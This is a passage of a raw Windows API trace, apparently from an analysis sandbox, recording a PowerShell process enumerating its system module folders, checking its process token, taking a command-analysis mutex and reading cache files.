lpBuffer=0x99ae66c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0114.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.253] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x99aeb44 | out: lpFileInformation=0x99aeb44*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x2dc69d3c, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x3813bfd2, ftLastAccessTime.dwHighDateTime=0x1d0bb00, ftLastWriteTime.dwLowDateTime=0x3813bfd2, ftLastWriteTime.dwHighDateTime=0x1d0bb00, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0114.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.253] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x105, lpBuffer=0x99ae64c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0114.253] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\", nBufferLength=0x105, lpBuffer=0x99ae620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\", lpFilePart=0x0) returned 0x40 [0114.253] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\*", lpFindFileData=0x99ae86c | out: lpFindFileData=0x99ae86c) returned 0x8e35210 [0114.253] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.253] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.253] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.253] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0114.253] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 0 [0114.253] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.253] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0114.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.254] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x105, lpBuffer=0x99ae600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", lpFilePart=0x0) returned 0x3e [0114.254] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\", nBufferLength=0x105, lpBuffer=0x99ae5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\", lpFilePart=0x0) returned 0x3f [0114.254] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e35210 [0114.254] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.254] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.254] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.254] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.254] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.254] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.254] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.254] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.255] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.255] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.255] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.255] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.255] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.255] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0114.255] FindClose (in: hFindFile=0x8e35210 | out: hFindFile=0x8e35210) returned 1 [0114.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.255] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x105, lpBuffer=0x99ae600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", lpFilePart=0x0) returned 0x3e [0114.255] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\", nBufferLength=0x105, lpBuffer=0x99ae5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\", lpFilePart=0x0) returned 0x3f [0114.255] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e35350 [0114.255] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.255] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.255] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.255] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.255] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.255] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.256] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.256] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.256] FindNextFileW (in: hFindFile=0x8e35350, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0114.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae9c0) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae9cc) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae9c0) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae9cc) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9d0) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae9cc) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea4c) returned 1 [0114.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aea0c) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aea18) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb10) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf8) returned 1 [0114.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0114.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeac8) returned 1 [0114.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeac4) returned 1 [0114.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb44) returned 1 [0114.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb04) returned 1 [0114.278] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", nBufferLength=0x105, lpBuffer=0x99ae764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpFilePart=0x0) returned 0x33 [0114.278] CoTaskMemAlloc (cb=0x20e) returned 0x8e551d8 [0114.278] GetEnvironmentVariableW (in: lpName="PSDisableModuleAutoLoadingMemoryCache", lpBuffer=0x8e551d8, nSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x0 [0114.278] CoTaskMemFree (pv=0x8e551d8) [0114.278] CoTaskMemAlloc (cb=0x20c) returned 0x8e52f58 [0114.278] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x8e52f58 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0114.278] CoTaskMemFree (pv=0x8e52f58) [0114.278] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x99ae6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", lpFilePart=0x0) returned 0x23 [0114.279] GetCurrentProcess () returned 0xffffffff [0114.279] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99aeb60 | out: TokenHandle=0x99aeb60*=0x84c) returned 1 [0114.279] GetTokenInformation (in: TokenHandle=0x84c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x99aebac | out: TokenInformation=0x0, ReturnLength=0x99aebac) returned 0 [0114.279] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x439e750 [0114.279] GetTokenInformation (in: TokenHandle=0x84c, TokenInformationClass=0x1, TokenInformation=0x439e750, TokenInformationLength=0x24, ReturnLength=0x99aebac | out: TokenInformation=0x439e750, ReturnLength=0x99aebac) returned 1 [0114.279] LocalFree (hMem=0x439e750) returned 0x0 [0114.279] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x6883cd0, cbSid=0x99aebb0 | out: pSid=0x6883cd0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x99aebb0) returned 1 [0114.279] CreateMutexW (lpMutexAttributes=0x6883dac, bInitialOwner=0, lpName="Global\\PowerShell_CommandAnalysis_Lock_S-1-5-21-1462094071-1423818996-289466292-1000") returned 0x81c [0114.279] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x99aeb84*=0x81c, lpdwindex=0x99ae9a4 | out: lpdwindex=0x99ae9a4) returned 0x0 [0114.279] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", nBufferLength=0x105, lpBuffer=0x99ae640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", lpFilePart=0x0) returned 0x51 [0114.280] CloseHandle (hObject=0x858) returned 1 [0114.287] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", nBufferLength=0x105, lpBuffer=0x99ae6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", lpFilePart=0x0) returned 0x51 [0114.288] ReadFile (in: hFile=0x858, lpBuffer=0x6888e7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99aea10, lpOverlapped=0x0 | out: lpBuffer=0x6888e7c*, lpNumberOfBytesRead=0x99aea10*=0x1000, lpOverlapped=0x0) returned 1 [0114.346] ReadFile (in: hFile=0x858, lpBuffer=0x688d948, nNumberOfBytesToRead=0x3, lpNumberOfBytesRead=0x99ae938, lpOverlapped=0x0 | out: lpBuffer=0x688d948*, lpNumberOfBytesRead=0x99ae938*=0x3, lpOverlapped=0x0) returned 1 [0114.346] ReadFile (in: hFile=0x858, lpBuffer=0x6888e7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae960, lpOverlapped=0x0 | out: lpBuffer=0x6888e7c*, lpNumberOfBytesRead=0x99ae960*=0x1000, lpOverlapped=0x0) returned 1 [0114.348] ReadFile (in: hFile=0x858, lpBuffer=0x688d965, nNumberOfBytesToRead=0x35, lpNumberOfBytesRead=0x99ae8b4, lpOverlapped=0x0 | out: lpBuffer=0x688d965*, lpNumberOfBytesRead=0x99ae8b4*=0x35, lpOverlapped=0x0) returned 1 [0114.348] ReadFile (in: hFile=0x858, lpBuffer=0x6888e7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae8b8, lpOverlapped=0x0 | out: lpBuffer=0x6888e7c*, lpNumberOfBytesRead=0x99ae8b8*=0x1000, lpOverlapped=0x0) returned 1 [0114.348] ReadFile (in: hFile=0x858, lpBuffer=0x688d945, nNumberOfBytesToRead=0x6, lpNumberOfBytesRead=0x99ae938, lpOverlapped=0x0 | out: lpBuffer=0x688d945*, lpNumberOfBytesRead=0x99ae938*=0x6, lpOverlapped=0x0) returned 1 [0114.348] ReadFile (in: hFile=0x858, lpBuffer=0x6888e7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae960, 